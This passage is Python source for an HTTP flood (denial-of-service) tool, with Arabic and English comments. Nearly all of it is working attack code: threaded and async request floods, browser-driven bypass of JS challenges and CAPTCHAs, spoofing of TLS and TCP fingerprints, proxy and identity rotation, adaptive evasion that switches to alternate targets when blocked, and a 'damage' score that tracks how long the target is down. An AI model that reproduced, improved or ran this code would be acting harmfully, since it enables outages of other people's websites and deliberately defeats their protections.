| p.start() | |
| processes.append(p) | |
| print(f"[MP] Process {i} started (PID: {p.pid})") | |
| try: | |
| for p in processes: | |
| p.join(timeout=duration + 30 if duration > 0 else None) | |
| except KeyboardInterrupt: | |
| print("[MP] Interrupt - terminating all processes...") | |
| for p in processes: | |
| p.terminate() | |
| alive = sum(1 for p in processes if p.is_alive()) | |
| print(f"[MP] All processes finished ({alive} still alive)") | |
| for p in processes: | |
| if p.is_alive(): | |
| p.terminate() | |
| class OptimizedConnectionPool: | |
| """Manages connection pooling with HTTP/2 support.""" | |
| def __init__(self, max_connections: int = 100): | |
| self.max_connections = max_connections | |
| self.pool = {} | |
| self.lock = threading.Lock() | |
| def get_client(self, target_host: str): | |
| """Get or create HTTP/2 client for a target host.""" | |
| with self.lock: | |
| if target_host not in self.pool: | |
| try: | |
| client = cffi_requests.Session() if CURL_CFFI_AVAILABLE else None | |
| self.pool[target_host] = { | |
| "client": client, | |
| "created_at": time.time(), | |
| "request_count": 0, | |
| } | |
| except Exception: | |
| self.pool[target_host] = {"client": None, "created_at": time.time(), "request_count": 0} | |
| self.pool[target_host]["request_count"] += 1 | |
| return self.pool[target_host]["client"] | |
| class EnhancedPlaywrightBypass: | |
| """Improved Playwright bypass with human-like interactions.""" | |
| def solve_js_challenge(url: str, headless: bool = False) -> dict: | |
| result = {"headers": {}, "cookie_header": "", "content": ""} | |
| try: | |
| from playwright.sync_api import sync_playwright | |
| with sync_playwright() as p: | |
| browser = p.chromium.launch(headless=headless) | |
| device = random.choice([ | |
| p.devices["Desktop Chrome"], | |
| p.devices["Desktop Firefox"], | |
| p.devices["iPhone 13"], | |
| ]) | |
| context = browser.new_context(**device) | |
| page = context.new_page() | |
| page.set_viewport_size({"width": random.randint(1366, 1920), "height": random.randint(768, 1080)}) | |
| page.goto(url, wait_until="networkidle", timeout=30000) | |
| time.sleep(random.uniform(1, 3)) | |
| page.mouse.move(random.randint(100, 500), random.randint(100, 500)) | |
| time.sleep(random.uniform(0.5, 2)) | |
| try: | |
| page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000) | |
| except Exception: | |
| pass | |
| time.sleep(random.uniform(2, 5)) | |
| result["content"] = page.content() | |
| result["headers"] = { | |
| "User-Agent": device.get("user_agent", random.choice(USER_AGENTS)), | |
| "Accept-Language": device.get("locale", "en-US,en;q=0.9"), | |
| "Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Upgrade-Insecure-Requests": "1", | |
| "Sec-CH-UA": device.get("user_agent", "\"Chromium\";v=\"124\""), | |
| "Sec-CH-UA-Mobile": device.get("mobile", "?0"), | |
| "Sec-CH-UA-Platform": device.get("platform", "Windows"), | |
| } | |
| cookies = context.cookies() | |
| if cookies: | |
| result["cookie_header"] = "; ".join(f"{c['name']}={c['value']}" for c in cookies if c.get('name') and c.get('value')) | |
| browser.close() | |
| except Exception: | |
| pass | |
| return result | |
| def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False): | |
| mode_name = "http-app" if app_mode else "http" | |
| connection_mode = "keepalive" if keepalive else "single-connection" | |
| evasion_features = [] | |
| if identity_pool: | |
| evasion_features.append("identity-rotation") | |
| if human_timing: | |
| evasion_features.append("human-entropy") | |
| if use_cffi and CURL_CFFI_AVAILABLE: | |
| evasion_features.append("tls-spoof") | |
| evasion_str = f", evasion=[{', '.join(evasion_features)}]" if evasion_features else "" | |
| print(f"Starting HTTP flood: {method} {url}, workers={workers}, mode={mode_name}, connection={connection_mode}{evasion_str}") | |
| start_time = time.monotonic() | |
| statuses = {} | |
| latencies = [] | |
| futures = [] | |
| human_timer = HumanTimer(base_delay=0.5) if human_timing else None | |
| if ai_payload: | |
| AIPayloadGenerator.learn_from_target(url) | |
| current_url = url | |
| current_method = method | |
| current_ai_payload = ai_payload | |
| adaptation_count = 0 | |
| alt_targets = [] | |
| try: | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'}) | |
| with urllib.request.urlopen(req, context=ctx, timeout=5) as resp: | |
| html = resp.read().decode('utf-8', errors='ignore') | |
| api_paths = re.findall(r'["\'](/[\w-]+/[^"\']*|/[^"\']*\.php[^"\']*)["\']', html) | |
| api_paths = [p for p in api_paths if not p.endswith(('.css', '.js', '.png', '.jpg', '.jpeg', '.svg', '.gif', '.ico'))] | |
| parsed_url = urllib.parse.urlparse(url) | |
| if parsed_url.hostname: | |
| parts = parsed_url.hostname.split('.') | |
| base_domain = ".".join(parts[-2:]) if len(parts) >= 2 else parsed_url.hostname | |
| subdomains = re.findall(r'https?://([a-zA-Z0-9.-]+\.' + re.escape(base_domain) + r')', html) | |
| else: | |
| subdomains = [] | |
| for alt in set(api_paths + subdomains): | |
| if alt.startswith('/'): | |
| alt_targets.append(f"{parsed_url.scheme}://{parsed_url.netloc}{alt}") | |
| elif alt.startswith('http'): | |
| alt_targets.append(alt) | |
| except Exception: | |
| pass | |
| rate_limiter = RateLimitHandler() | |
| header_rotator = AdvancedHeaderRotator() | |
| delay_engine = AdaptiveDelayEngine() | |
| conn_pool = OptimizedConnectionPool() | |
| captcha_solver = CAPTCHASolver() | |
| def _worker_task(url, method, payload, headers, extra_headers, timeout, playwright_headers, random_query, app_mode, identity, ai_payload, do_tcp_spoof): | |
| if human_timer: | |
| time.sleep(human_timer.next_delay()) | |
| if use_js_bypass: | |
| url = add_api_bypass(url) | |
| base_headers = build_http_headers(extra_headers, keepalive=False, playwright_headers=playwright_headers, identity=identity) | |
| enhanced_headers = header_rotator.get_obfuscated_headers(base_headers) | |
| if do_tcp_spoof: | |
| parsed = urllib.parse.urlparse(url) | |
| host = parsed.hostname or "127.0.0.1" | |
| port = parsed.port or (443 if parsed.scheme == "https" else 80) | |
| os_name = "windows" | |
| if identity and identity.profile.get("platform") == "macOS": | |
| os_name = "macos" | |
| TCPFingerprinter.send_spoofed_syn(host, port, os_name=os_name, count=1) | |
| max_retries = 4 | |
| for attempt in range(max_retries): | |
| try: | |
| if use_cffi and CURL_CFFI_AVAILABLE and identity: | |
| status, latency = cffi_http_request(url, method, payload, identity, timeout, random_query, app_mode) | |
| elif keepalive: | |
| status, latency = keepalive_http_request(url, method, payload, enhanced_headers, timeout, playwright_headers, random_query, app_mode, identity) | |
| else: | |
| status, latency = http_request(url, method, payload, enhanced_headers, timeout, playwright_headers, random_query, app_mode, identity, ai_payload) | |
| if isinstance(status, str) and status.isdigit(): | |
| status = int(status) | |
| if status in (403, 429, 503) and use_playwright and attempt < max_retries - 1: | |
| bypass = EnhancedPlaywrightBypass.solve_js_challenge(url, headless=True) | |
| if bypass.get("headers"): | |
| enhanced_headers.update(bypass["headers"]) | |
| if bypass.get("cookie_header"): | |
| enhanced_headers["Cookie"] = bypass["cookie_header"] | |
| time.sleep(random.uniform(1.0, 2.5)) | |
| continue | |
| delay_engine.update_success_rate(status) | |
| if rate_limiter.should_retry(status): | |
| rate_limiter.on_rate_limit() | |
| if attempt < max_retries - 1: | |
| continue | |
| else: | |
| rate_limiter.reset() | |
| return (status, latency) | |
| except Exception: | |
| if attempt < max_retries - 1: | |
| time.sleep(delay_engine.next_delay() * 2) | |
| continue | |
| return ("ERROR", 0) | |
| def submit_request(executor): | |
| identity = identity_pool.get_identity() if identity_pool else None | |
| playwright_headers = get_random_playwright_headers() if use_playwright else None | |
| return executor.submit( | |
| _worker_task, | |
| current_url, current_method, payload, extra_headers, extra_headers, 5, | |
| playwright_headers, random_query, app_mode, identity, current_ai_payload, tcp_spoof | |
| ) | |
| with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: | |
| if duration is None and total_requests <= 0: | |
| total_requests = max(100000, workers * 1000) | |
| print(f"[!] No explicit request limit set; using default flood count of {total_requests} requests.") | |
| if duration and duration > 0: | |
| end_time = start_time + duration | |
| sent = 0 | |
| if rate and rate > 0: | |
| interval = 1.0 / rate | |
| next_submission = start_time | |
| while time.monotonic() < end_time and (total_requests <= 0 or sent < total_requests): | |
| now = time.monotonic() | |
| if now < next_submission: | |
| time.sleep(max(0, next_submission - now)) | |
| futures.append(submit_request(executor)) | |
| sent += 1 | |
| next_submission += interval | |
| else: | |
| while time.monotonic() < end_time and (total_requests <= 0 or sent < total_requests): | |
| futures.append(submit_request(executor)) | |
| sent += 1 | |
| print(f"Submitted {sent} requests in {time.monotonic() - start_time:.1f}s") | |
| else: | |
| for i in range(total_requests): | |
| futures.append(submit_request(executor)) | |
| print(f"Submitted {total_requests} requests to thread pool.") | |
| completed = 0 | |
| success_live = 0 | |
| blocked_live = 0 | |
| BLOCKED_CODES = {"403", "429", "503", "HTTP 403", "HTTP 429", "HTTP 503", "TARPIT_DETECTED"} | |
| for future in concurrent.futures.as_completed(futures): | |
| status, latency = future.result() | |
| status_str = str(status) | |
| statuses[status_str] = statuses.get(status_str, 0) + 1 | |
| if isinstance(latency, float): | |
| latencies.append(latency) | |
| completed += 1 | |
| if status_str.isdigit() and 200 <= int(status_str) < 400: | |
| success_live += 1 | |
| elif status_str in BLOCKED_CODES or (status_str.startswith("HTTP 4") or status_str.startswith("HTTP 5")): | |
| blocked_live += 1 | |
| if completed % 20 == 0: | |
| total_meaningful = success_live + blocked_live | |
| if total_meaningful > 0: | |
| block_ratio = (blocked_live / total_meaningful) * 100 | |
| else: | |
| block_ratio = 0.0 | |
| if block_ratio >= 70: | |
| shield = "RED" | |
| msg = "🔴 BLOCKED" | |
| elif block_ratio >= 30: | |
| shield = "YELLOW" | |
| msg = "🟡 MITIGATED" | |
| else: | |
| shield = "GREEN" | |
| msg = "🟢 SUCCESS" | |
| print(f"[Live] Progress: {completed}/{total_requests} | {msg} (Block Rate: {block_ratio:.1f}%) | Success: {success_live}, Blocked: {blocked_live}") | |
| if block_ratio >= 70: | |
| adaptation_count += 1 | |
| print(f"\n[🧠 AI] High block rate! Mutation #{adaptation_count}...") | |
| if alt_targets: | |
| current_url = random.choice(alt_targets) | |
| print(f"[🧠 AI] Auto-Pivot to: {current_url}") | |
| else: | |
| base = current_url.split('?')[0] if '?' in current_url else current_url | |
| current_url = base + f"?_={random.randint(100000,999999)}&cb={random.randint(1,9999)}" | |
| print(f"[🧠 AI] Cache-bust: {current_url}") | |
| if current_method == "GET": | |
| current_method = "POST" | |
| current_ai_payload = True | |
| print(f"[🧠 AI] Switched to POST + AI Payloads") | |
| if identity_pool: | |
| identity_pool._identities.clear() | |
| print(f"[🧠 AI] Flushed identities, regenerating...") | |
| print(f"[🧠 AI] Mutation #{adaptation_count} applied.\n") | |
| elapsed = time.monotonic() - start_time | |
| success_count = sum(count for status, count in statuses.items() if status.isdigit() and 200 <= int(status) < 400) | |
| error_count = sum(count for status, count in statuses.items() if not (status.isdigit() and 200 <= int(status) < 400)) | |
| tarpit_count = statuses.get("TARPIT_DETECTED", 0) | |
| logger.info("HTTP flood complete: %d requests, %d success, %d errors, %d tarpits", sum(statuses.values()), success_count, error_count, tarpit_count) | |
| if latencies: | |
| stats = calculate_latency_stats([l * 1000 for l in latencies]) | |
| logger.info("Latency ms: avg=%.2f p50=%.2f p95=%.2f p99=%.2f", stats["average"], stats["p50"], stats["p95"], stats["p99"]) | |
| print(f"HTTP load complete. Elapsed: {elapsed:.2f}s | Requests: {sum(statuses.values())} | Success: {success_count} | Error: {error_count}") | |
| def calculate_latency_stats(latencies: list) -> dict: | |
| if not latencies: | |
| return {"min": 0.0, "max": 0.0, "average": 0.0, "p50": 0.0, "p95": 0.0, "p99": 0.0} | |
| sorted_data = sorted(latencies) | |
| n = len(sorted_data) | |
| min_val = sorted_data[0] | |
| max_val = sorted_data[-1] | |
| avg_val = sum(sorted_data) / n | |
| def get_percentile(p: float) -> float: | |
| idx = (n - 1) * p | |
| low_idx = int(idx) | |
| high_idx = low_idx + 1 if low_idx + 1 < n else low_idx | |
| if low_idx == high_idx: | |
| return sorted_data[low_idx] | |
| fraction = idx - low_idx | |
| return sorted_data[low_idx] + fraction * (sorted_data[high_idx] - sorted_data[low_idx]) | |
| return {"min": min_val, "max": max_val, "average": avg_val, "p50": get_percentile(0.50), "p95": get_percentile(0.95), "p99": get_percentile(0.99)} | |
| # ============================================================================ | |
| # نظام مراقبة الفاعلية المباشر (LIVE ANALYTICS ENGINE) | |
| # ============================================================================ | |
| class LiveAnalyticsEngine: | |
| """نظام مراقبة الفاعلية المباشر - يقيس مقدار الضرر واستجابة الخادم""" | |
| def __init__(self, max_history: int = 120): | |
| self.lock = threading.Lock() | |
| self.start_time = time.monotonic() | |
| self.max_history = max_history | |
| self.latencies = [] | |
| self.latency_history = [] | |
| self.status_codes = defaultdict(int) | |
| self.rps_history = [] | |
| self.damage_history = [] | |
| self._request_timestamps = [] | |
| self.consecutive_errors = 0 | |
| self.consecutive_success = 0 | |
| self.server_down_events = 0 | |
| self.first_503_time = None | |
| self.total_downtime_seconds = 0.0 | |
| self._down_since = None | |
| self._last_snapshot = time.monotonic() | |
| self._snap_interval = 1.0 | |
| self._p_reqs = 0 | |
| self._p_lats = [] | |
| self._p_codes = defaultdict(int) | |
| def record(self, status_code: int, latency_ms: float): | |
| now = time.monotonic() | |
| elapsed = now - self.start_time | |
| with self.lock: | |
| self.latencies.append(latency_ms) | |
| if len(self.latencies) > 10000: | |
| self.latencies = self.latencies[-5000:] | |
| self.status_codes[status_code] += 1 | |
| self._request_timestamps.append(now) | |
| cutoff = now - 5.0 | |
| self._request_timestamps = [t for t in self._request_timestamps if t > cutoff] | |
| if status_code in (0, 500, 502, 503, 504, 520, 521, 522, 523, 524): | |
| self.consecutive_errors += 1 | |
| self.consecutive_success = 0 | |
| if self._down_since is None: | |
| self._down_since = now | |
| self.server_down_events += 1 | |
| if self.first_503_time is None: | |
| self.first_503_time = elapsed | |
| elif 200 <= status_code < 400: | |
| self.consecutive_success += 1 | |
| self.consecutive_errors = 0 | |
| if self._down_since is not None: | |
| self.total_downtime_seconds += (now - self._down_since) | |
| self._down_since = None | |
| self._p_reqs += 1 | |
| self._p_lats.append(latency_ms) | |
| self._p_codes[status_code] += 1 | |
| if now - self._last_snapshot >= self._snap_interval: | |
| self._snapshot(now, elapsed) | |
| def _snapshot(self, now, elapsed): | |
| dur = now - self._last_snapshot | |
| rps = self._p_reqs / dur if dur > 0 else 0 | |
| self.rps_history.append((elapsed, rps)) | |
| avg_lat = sum(self._p_lats) / len(self._p_lats) if self._p_lats else 0 | |
| self.latency_history.append((elapsed, avg_lat)) | |
| self.damage_history.append((elapsed, self._calc_damage())) | |
| for h in (self.rps_history, self.latency_history, self.damage_history): | |
| while len(h) > self.max_history: | |
| h.pop(0) | |
| self._last_snapshot = now | |
| self._p_reqs = 0 | |
| self._p_lats = [] | |
| self._p_codes = defaultdict(int) | |
| def _calc_damage(self) -> float: | |
| total = sum(self.status_codes.values()) | |
| if total == 0: | |
| return 0.0 | |
| score = 0.0 | |
| srv_err = sum(self.status_codes.get(c, 0) for c in [0, 500, 502, 503, 504, 520, 521, 522, 523, 524]) | |
| score += (srv_err / total) * 40 | |
| if self.latencies: | |
| recent = self.latencies[-200:] | |
| avg = sum(recent) / len(recent) | |
| if avg > 4000: score += 30 | |
| elif avg > 2000: score += 20 | |
| elif avg > 1000: score += 15 | |
| elif avg > 500: score += 10 | |
| elif avg > 200: score += 5 | |
| # Add damage points for sheer volume (Bandwidth Exhaustion) | |
| if self.rps_history: | |
| recent_rps = self.rps_history[-1][1] if self.rps_history else 0 | |
| if recent_rps > 2000: score += 20 | |
| elif recent_rps > 1000: score += 15 | |
| elif recent_rps > 500: score += 10 | |
| elif recent_rps > 100: score += 5 | |
| if self.consecutive_errors > 50: score += 20 | |
| elif self.consecutive_errors > 20: score += 15 | |
| elif self.consecutive_errors > 10: score += 10 | |
| elif self.consecutive_errors > 5: score += 5 | |
| score += min(15, self.server_down_events * 3) | |
| return min(100.0, score) | |
| def get_analytics(self) -> dict: | |
| with self.lock: | |
| total = sum(self.status_codes.values()) | |
| elapsed = time.monotonic() - self.start_time | |
| if self.latencies: | |
| s = sorted(self.latencies[-1000:]) | |
| n = len(s) | |
| lat = {'min': s[0], 'max': s[-1], 'avg': sum(s)/n, | |
| 'p50': s[int(n*0.5)], 'p95': s[min(int(n*0.95),n-1)], | |
| 'p99': s[min(int(n*0.99),n-1)], 'current': self.latencies[-1]} | |
| else: | |
| lat = {k: 0 for k in ('min','max','avg','p50','p95','p99','current')} | |
| now = time.monotonic() | |
| recent = [t for t in self._request_timestamps if t > now - 5.0] | |
| cur_rps = len(recent) / 5.0 if recent else 0 | |
| avg_rps = total / elapsed if elapsed > 0 else 0 | |
| peak_rps = max((r for _, r in self.rps_history), default=0) | |
| success = sum(self.status_codes.get(c, 0) for c in range(200, 400)) | |
| srv_err = sum(self.status_codes.get(c, 0) for c in [0, 500, 502, 503, 504, 520, 521, 522, 523, 524]) | |
| cli_err = sum(self.status_codes.get(c, 0) for c in [400, 401, 403, 404, 429]) | |
| damage = self._calc_damage() | |
| if self.consecutive_errors > 10: health = "🔴 DOWN" | |
| elif self.consecutive_errors > 5: health = "🟠 DEGRADED" | |
| elif self.consecutive_errors > 2: health = "🟡 STRESSED" | |
| elif total > 0: health = "🟢 RESPONDING" | |
| else: health = "⚪ UNKNOWN" | |
| return { | |
| 'total': total, 'elapsed': elapsed, 'latency': lat, | |
| 'rps': {'current': cur_rps, 'average': avg_rps, 'peak': peak_rps}, | |
| 'status_codes': dict(self.status_codes), 'success': success, | |
| 'server_errors': srv_err, 'client_errors': cli_err, | |
| 'damage': damage, 'health': health, | |
| 'consecutive_errors': self.consecutive_errors, | |
| 'down_events': self.server_down_events, | |
| 'downtime': self.total_downtime_seconds, | |
| 'first_error_at': self.first_503_time, | |
| 'rps_history': list(self.rps_history[-60:]), | |
| 'latency_history': list(self.latency_history[-60:]), | |
| 'damage_history': list(self.damage_history[-60:]), | |
| } | |
| def async_http_flood(url: str, total_requests: int, concurrency: int, method: str, payload: str, duration: float, identity_pool=None, random_query: bool = True, app_mode: bool = False, ai_payload: bool = False, use_js_bypass: bool = False): | |
| if not HTTPX_AVAILABLE and not CURL_CFFI_AVAILABLE: | |
| print("[!] httpx and curl_cffi are both unavailable. Falling back to threading...") | |
| return False | |
| async def _run(): | |
| rate_limiter = RateLimitHandler() | |
| header_rotator = AdvancedHeaderRotator() | |
| delay_engine = AdaptiveDelayEngine() | |
| max_connections = min(concurrency, 100) | |
| max_keepalive = min(concurrency, 50) | |
| limits = httpx.Limits(max_connections=max_connections, | |
| max_keepalive_connections=max_keepalive, | |
| keepalive_expiry=30) | |
| if CURL_CFFI_AVAILABLE: | |
| client = cffi_requests.AsyncSession(impersonate=random.choice(["chrome124", "firefox125"]), verify=False, timeout=10) | |
| else: | |
| client = httpx.AsyncClient(http2=True, limits=limits, timeout=httpx.Timeout(10.0), verify=False, follow_redirects=True) | |
| sem = asyncio.Semaphore(concurrency) | |
| statuses = {} | |
| latencies = [] | |
| completed = 0 | |
| success_count = 0 | |
| blocked_count = 0 | |
| async def do_request(): | |
| nonlocal completed, success_count, blocked_count | |
| identity = identity_pool.get_identity() if identity_pool else None | |
| hdrs = identity.get_headers(keepalive=True) if identity else {"User-Agent": random.choice(USER_AGENTS), "Accept": random.choice(REALISTIC_ACCEPTS), "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"} | |
| hdrs = header_rotator.get_obfuscated_headers(hdrs) | |
| req_url = normalize_http_url(url, app_mode, random_query) | |
| if use_js_bypass: | |
| req_url = add_api_bypass(req_url) | |
| parsed = urllib.parse.urlparse(req_url) | |
| if parsed.hostname: | |
| hdrs["Host"] = parsed.hostname | |
| data = None | |
| if method == "POST": | |
| if ai_payload: | |
| body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"])) | |
| hdrs["Content-Type"] = "application/json" | |
| else: | |
| body = payload or "message=payload" | |
| hdrs["Content-Type"] = "application/x-www-form-urlencoded" | |
| data = body.encode("utf-8") if isinstance(body, str) else body | |
| async with sem: | |
| start = time.monotonic() | |
| try: | |
| if method == "POST": | |
| resp = await client.post(req_url, headers=hdrs, content=data) | |
| else: | |
| resp = await client.get(req_url, headers=hdrs) | |
| elapsed = time.monotonic() - start | |
| s = str(resp.status_code) | |
| statuses[s] = statuses.get(s, 0) + 1 | |
| latencies.append(elapsed) | |
| completed += 1 | |
| delay_engine.update_success_rate(resp.status_code) | |
| if rate_limiter.should_retry(resp.status_code): | |
| rate_limiter.on_rate_limit() | |
| await asyncio.sleep(rate_limiter.backoff_delay()) | |
| else: | |
| rate_limiter.reset() | |
| if 200 <= resp.status_code < 400: | |
| success_count += 1 | |
| elif resp.status_code in (403, 429, 503): | |
| blocked_count += 1 | |
| if completed % 200 == 0: | |
| total = success_count + blocked_count | |
| br = (blocked_count / total * 100) if total > 0 else 0 | |
| e = "🟢" if br < 30 else "🟡" if br < 70 else "🔴" | |
| rps = completed / (time.monotonic() - flood_start) if (time.monotonic() - flood_start) > 0 else 0 | |
| print(f"[Async] {e} {completed} done | RPS: {rps:.0f} | OK: {success_count} | Blocked: {blocked_count}") | |
| except Exception as exc: | |
| err = type(exc).__name__ | |
| statuses[err] = statuses.get(err, 0) + 1 | |
| completed += 1 | |
| flood_start = time.monotonic() | |
| if duration and duration > 0: | |
| end_time = flood_start + duration | |
| tasks = [] | |
| while time.monotonic() < end_time: | |
| batch = [asyncio.create_task(do_request()) for _ in range(min(concurrency, 500))] | |
| tasks.extend(batch) | |
| await asyncio.sleep(0) | |
| await asyncio.gather(*tasks, return_exceptions=True) | |
| else: | |
| if total_requests <= 0: | |
| total_requests = max(concurrency * 1000, 100000) | |
| print(f"[!] No explicit request limit set; using default async flood count of {total_requests} requests.") | |
| batch_size = min(concurrency * 3, total_requests) | |
| all_tasks = [] | |
| for i in range(0, total_requests, batch_size): | |
| n = min(batch_size, total_requests - i) | |
| batch = [asyncio.create_task(do_request()) for _ in range(n)] | |
| all_tasks.extend(batch) | |
| await asyncio.sleep(0) | |
| await asyncio.gather(*all_tasks, return_exceptions=True) | |
| elapsed = time.monotonic() - flood_start | |
| total_reqs = sum(statuses.values()) | |
| rps = total_reqs / elapsed if elapsed > 0 else 0 | |
| ok = sum(c for s, c in statuses.items() if s.isdigit() and 200 <= int(s) < 400) | |
| print(f"\n[ASYNC] HTTP Flood Complete: {elapsed:.2f}s | Total: {total_reqs} | RPS: {rps:.0f} | Success: {ok}") | |
| if latencies: | |
| stats = calculate_latency_stats([l * 1000 for l in latencies]) | |
| print(f"Latency: avg={stats['average']:.1f}ms p50={stats['p50']:.1f}ms p95={stats['p95']:.1f}ms p99={stats['p99']:.1f}ms") | |
| if CURL_CFFI_AVAILABLE: | |
| try: | |
| close_result = client.close() | |
| if asyncio.iscoroutine(close_result): | |
| await close_result | |
| except Exception: | |
| pass | |
| asyncio.run(_run()) | |
| return True | |
| def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False, use_playwright=False): | |
| print(f"\n{'='*70}") | |
| print(f"{'ADVANCED EVASION & WAF DETECTION BYPASS TECHNIQUES':^70}") | |
| print(f"{'='*70}") | |
| techniques = [] | |
| if identity_pool: | |
| techniques.append("[+] Identity Rotation - Rotating user agents, IPs, session fingerprints") | |
| techniques.append("[+] Adaptive Rate Limiting - Exponential backoff on 429/503 (1-60s)") | |
| techniques.append("[+] Behavioral Simulation - Pareto-distributed delays (0.001-1.5s), burst probability 15%") | |
| techniques.append("[+] Header Obfuscation - Randomized headers, realistic referers, residential IPs") | |
| if use_tcp_spoof: | |
| techniques.append("[+] TCP Fingerprinting - Spoofed OS signatures (Windows/macOS)") | |
| if use_cffi: | |
| techniques.append("[+] TLS Impersonation - curl_cffi browser fingerprints (Chrome/Firefox/Safari)") | |
| if use_playwright: | |
| techniques.append("[+] JS Challenge Bypass - Playwright headless:false, device emulation, natural waits") | |
| techniques.append("[+] Connection Pooling - Persistent keep-alive with HTTP/2 support") | |
| techniques.append("[+] CAPTCHA Detection - 2Captcha API integration ready") | |
| techniques.append("[+] Tarpit Detection - Identifies honeypots via response size/timing anomalies") | |
| techniques.append("[+] Honeypot Evasion - Filters CSS-hidden links (display:none, opacity:0, etc)") | |
| for tech in techniques: | |
| print(f" {tech}") | |
| print(f"{'='*70}\n") | |
| # ============================================================================ | |
| # ULTIMATE INTEGRATED ENGINE (محرك متكامل جديد يجمع كل التقنيات) | |
| # ============================================================================ | |
| class UltimateIntegratedEngine: | |
| def __init__(self, target: str, threads: int = 1000, duration: int = 0, | |
| use_identities: bool = True, use_human_timing: bool = True, | |
| use_cffi: bool = True, use_js_bypass: bool = True, | |
| use_tcp_spoof: bool = True, use_ai_payload: bool = True, | |
| use_captcha: bool = True, vpn_mode: str = None, | |
| geo: str = "default", keepalive: bool = True, | |
| use_http2: bool = True, random_query: bool = True, | |
| request_rate: int = 0, total_requests: int = 0, http_method: str = "GET", max_load: bool = False, attack_mode: str = "integrated", **kwargs): | |
| self.target = target | |
| self.requested_threads = max(1, threads) | |
| self.use_http2 = use_http2 | |
| self.http2_disabled_by_thread_limit = False | |
| # No artificial thread cap — use full power | |
| self.threads = self.requested_threads | |
| self.duration = duration | |
| self.keepalive = keepalive | |
| self.random_query = random_query | |
| self.request_rate = request_rate | |
| self.max_requests = max(0, total_requests) | |
| self.max_load = max_load | |
| self.attack_mode = attack_mode.lower() | |
| self.running = False | |
| self.stop_requested = False | |
| self.stats = defaultdict(int) | |
| self.lock = threading.Lock() | |
| self.session = None | |
| self.log_callback = None | |
| # تهيئة الأنظمة | |
| self.identity_pool = None | |
| self.http_method = http_method.upper() if http_method else "GET" | |
| if use_identities: | |
| self.identity_pool = IdentityPool(geo=geo, proxies=[], | |
| max_requests_per_identity=50, | |
| max_age=300.0, | |
| use_js_bypass=use_js_bypass, | |
| target_url=target) | |
| self.human_timer = HumanTimer() if use_human_timing else None | |
| self.adaptive_delay = AdaptiveDelayEngine() | |
| self.header_rotator = AdvancedHeaderRotator() | |
| self.tarpit_detector = TarpitDetector() | |
| self.rate_limiter = RateLimitHandler() | |
| self.captcha_solver = CaptchaSolver() if use_captcha else None | |
| self.tcp_spoofer = TCPFingerprinter() if use_tcp_spoof else None | |
| self.ai_payload = use_ai_payload | |
| self.live_analytics = LiveAnalyticsEngine() | |
| self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE | |
| self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE | |
| self.use_http2 = use_http2 | |
| self.vpn_rotator = None | |
| if vpn_mode and vpn_mode != "System Default": | |
| self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300) | |
| # Initialize Proxy Engine if a proxy file is provided | |
| self.proxy_engine = None | |
| if kwargs.get('proxy_file') and os.path.isfile(kwargs.get('proxy_file')): | |
| self.proxy_engine = ProxyRotationEngine(proxy_file=kwargs.get('proxy_file')) | |
| self.proxy_engine.check_all_async() | |
| self._log(f"[🌐] Loaded {self.proxy_engine.total_count} proxies for rotation.", "INFO") | |
| self.loop = None | |
| self.workers = [] | |
| self.httpx_client = None | |
| self.cffi_clients = [] | |
| self.parsed = self._parse_target() | |
| self.host = self.parsed['host'] | |
| self.port = self.parsed['port'] | |
| self.path = self.parsed['path'] | |
| self.scheme = self.parsed['scheme'] | |
| if self.ai_payload: | |
| AIPayloadGenerator.learn_from_target(target) | |
| if self.use_js_bypass: | |
| self._get_initial_clearance() | |
| def _parse_target(self) -> Dict: | |
| if not self.target.startswith(('http://', 'https://')): | |
| self.target = 'https://' + self.target | |
| parsed = urllib.parse.urlparse(self.target) | |
| return {'host': parsed.hostname or 'localhost', 'port': parsed.port or (443 if parsed.scheme == 'https' else 80), 'path': parsed.path or '/', 'scheme': parsed.scheme, 'query': parsed.query} | |
| def _get_initial_clearance(self): | |
| if self.identity_pool: | |
| identity = self.identity_pool.get_identity() | |
| get_playwright_clearance(self.target, identity) | |
| def set_log_callback(self, callback): | |
| self.log_callback = callback | |
| def _log(self, message: str, level: str = "INFO"): | |
| if self.log_callback: | |
| self.log_callback(message, level) | |
| async def _create_session(self): | |
| ssl_ctx = ssl.create_default_context() | |
| ssl_ctx.check_hostname = False | |
| ssl_ctx.verify_mode = ssl.CERT_NONE | |
| try: | |
| ssl_ctx.set_ciphers('ALL:!aNULL:!eNULL:!LOW:!EXPORT:!SSLv2') | |
| except: | |
| pass | |
| conn = aiohttp.TCPConnector(limit=0, limit_per_host=0, force_close=False, enable_cleanup_closed=True, ssl=ssl_ctx, ttl_dns_cache=0, keepalive_timeout=30) | |
| timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5) | |
| self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False) | |
| if self.use_cffi and CURL_CFFI_AVAILABLE: | |
| for _ in range(10): # Create 50 clients to prevent thread bottleneck and reduce latency | |
| for imp in ["chrome124", "chrome120", "chrome116", "edge101", "safari17_0"]: | |
| self.cffi_clients.append(cffi_requests.AsyncSession(impersonate=imp, verify=False, timeout=8)) | |
| await self._create_httpx_client() | |
| async def _create_httpx_client(self): | |
| if not HTTPX_AVAILABLE or not self.use_http2: | |
| self.httpx_client = None | |
| return | |
| max_httpx_connections = min(self.threads, 1000) | |
| max_keepalive = min(self.threads, 500) | |
| limits = httpx.Limits(max_connections=max_httpx_connections, | |
| max_keepalive_connections=max_keepalive, | |
